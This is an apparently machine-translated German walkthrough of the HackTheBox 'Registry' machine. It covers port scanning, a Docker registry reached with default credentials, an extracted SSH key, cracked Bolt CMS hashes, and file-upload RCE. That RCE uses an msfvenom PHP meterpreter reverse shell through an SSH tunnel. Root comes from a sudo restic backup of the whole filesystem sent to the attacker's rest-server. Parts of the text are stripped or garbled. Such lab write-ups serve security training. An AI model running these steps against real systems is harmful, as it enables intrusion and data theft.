Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden . Ich hoffe, dass dies zumindest jemandem hilft, sich im Bereich der Informationssicherheit zu entwickeln. In diesem Artikel werden wir uns mit der Docker-Registrierung befassen, RCE in CMS Bolt ausführen und die Berechtigungen mithilfe des Restic-Sicherungsprogramms erhöhen.Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)Organisationsinformationen, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Aufklärung
Dieser Computer hat eine IP-Adresse 10.10.10.159, die ich zu / etc / hosts hinzufüge.10.10.10.159 registry.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A registry.htb -p22,80,443
Auf dem Host sind 3 Ports geöffnet, während das Zertifikat (Port 443) für docker.registry.htb bestimmt ist. Fügen Sie es auch zu / etc / hosts hinzu.10.10.10.159 docker.registry.htb
Wenn Sie sich an registry.htb wenden, werden wir von der Eingabeaufforderung nginx begrüßt, und an docker.registry.htb wird eine leere Seite angezeigt .Lassen Sie uns mit Gobuster über Verzeichnisse iterieren. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, die uns interessieren (-x).gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Backup.php gibt uns nichts, in Bolt gibt es eine Site mit CMS Bolt, und in install ist eine Art Datei, laden Sie sie herunter.wget http://registry.htb/install/ -O ind
Und wir finden heraus, um welche Art von Datei es sich handelt.
Wir können "gzip komprimierte Daten" sofort lesen.
Auf diese Weise erhalten wir das Zertifikat und Links zur Docker-Referenzdokumentation.Fügen Sie im Fall einer anderen Domäne die Option -k hinzu, um die Zertifikatsüberprüfung zu überspringen.gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Wechseln wir nun zum v2-Verzeichnis, und wir werden von der Authentifizierung empfangen.
Und die einfachste Kombination admin: admin gibt uns Zugriff. Auf dem Host wird Docker Regisrty ausgeführt. Schauen Sie sich daher, wie aus der folgenden Erläuterung hervorgeht, die Repositorys unter der folgenden Adresse an: docker.registry.htb / v2 / _catalog .
Und wir finden ein Repository.
Lassen Sie uns Docker installieren und uns der Dokumentation zur Zertifikatsinstallation zuwenden.
Wechseln Sie in das Verzeichnis / etc / docker und fügen Sie das Zertifikat aus dem Archiv hinzu.sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
Melden Sie sich jetzt bei Docker an.
Laden Sie nun das Bild.sudo docker pull docker.registry.htb:443/bolt-image:latest
Und lass es laufen.sudo docker run -it docker.registry.htb:443/bolt-image:latest
Und das erste, was wir uns ansehen, ist SSH. Glücklicherweise gibt es einen Schlüssel sowie eine Konfiguration, aus der hervorgeht, dass unser Benutzer ein Bolzen ist.
Aber die Sache ist, dass der Schlüssel verschlüsselt ist. Dies bedeutet, dass sie bei einer Verbindung nach einem Passwort fragen. Das Ergebnis ist eine Suche in den Dateien nach der Zeichenfolge "pass".grep -i -r "pass" ./etc/
Dieses Skript fragt nach einem Kennwort zum Entschlüsseln des Schlüssels. Und die Antwort ist darin gegeben.
Verbinde dich über ssh mit unserem Schlüssel.
Auf dem Host befand sich eine backup.php-Datei. Schauen wir uns an, was darin enthalten ist.
So wird sudo verwendet und anscheinend ohne Passwort. Für Bolzen ist jedoch ein Passwort erforderlich.
Dies bedeutet, dass wir den Dienstnutzer bekommen müssen. Da CMS Bolt verwendet wird, können wir auf die SQLite-Datenbank zugreifen. Lade es herunter.scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Beginnen wir mit der Arbeit mit der Datenbank.sqlite3 bolt.db
Schauen wir uns die Tabellen an.
Und holen Sie sich die Einträge aus der Tabelle bolzen_benutzer.
Wir haben also einen Admin-Hash. Iterieren Sie mit der JTR darüber.
Melden Sie sich jetzt als Administrator bei Bolt an. Und wir beobachten Version 3.6.4.
Es gibt Exploits für diese Version.
Die Sicherheitsanfälligkeit besteht darin, dass wir der Konfiguration die Dateierweiterung hinzufügen können, die wir herunterladen müssen, und dann die Datei hochladen können. Lassen Sie uns eine PHP-Datei mit einem Ladevorgang erstellen (ich werde im Voraus sagen, dass es einfach nicht funktioniert hat, eine Verbindung rückwärts herzustellen, daher wurde der 4321-Port weitergeleitet :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
.msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Und lassen Sie den Hörer laufen.
Lassen Sie uns durch Konfiguration -> Hauptkonfiguration gehen und die PHP-Erweiterung hinzufügen, um die Datei herunterladen zu können.
Gehen Sie als Nächstes zu Dateiverwaltung -> Dateien hochladen und fügen Sie die Datei hinzu. Nach dem Zugriff sehen wir die Verbindung.
Starten Sie die Bash-Shell. Wir stellen außerdem fest, dass wir im Auftrag des Servicebenutzers arbeiten.
Lassen Sie uns sudo überprüfen und feststellen, dass der Befehl von backup.php unter sudo ohne Passwort ausgeführt werden kann.
Restic ist ein in Golang geschriebenes Backup-Programm. Da wir unter sudo ein Backup erstellen können, können wir das gesamte Stammverzeichnis kopieren. Lassen Sie uns zunächst den 8000-Port durchgehen.ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Installieren Sie den Rest-Server und führen Sie ihn aus (auf 8000 Post ohne Authentifizierung).
Lassen Sie uns die Sicherung verbinden und initialisieren (restr1).
Sichern Sie nun das Stammverzeichnis.
Die Sicherung wurde auf dem lokalen Computer gespeichert. Sehen wir uns alle gespeicherten Dateien an. Suchen Sie den SSH-Schlüssel.restic -r /tmp/restic/restr1/ ls latest
Stellen Sie es wieder her.
Verbinden
Wir haben vollen Zugriff auf das System.Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.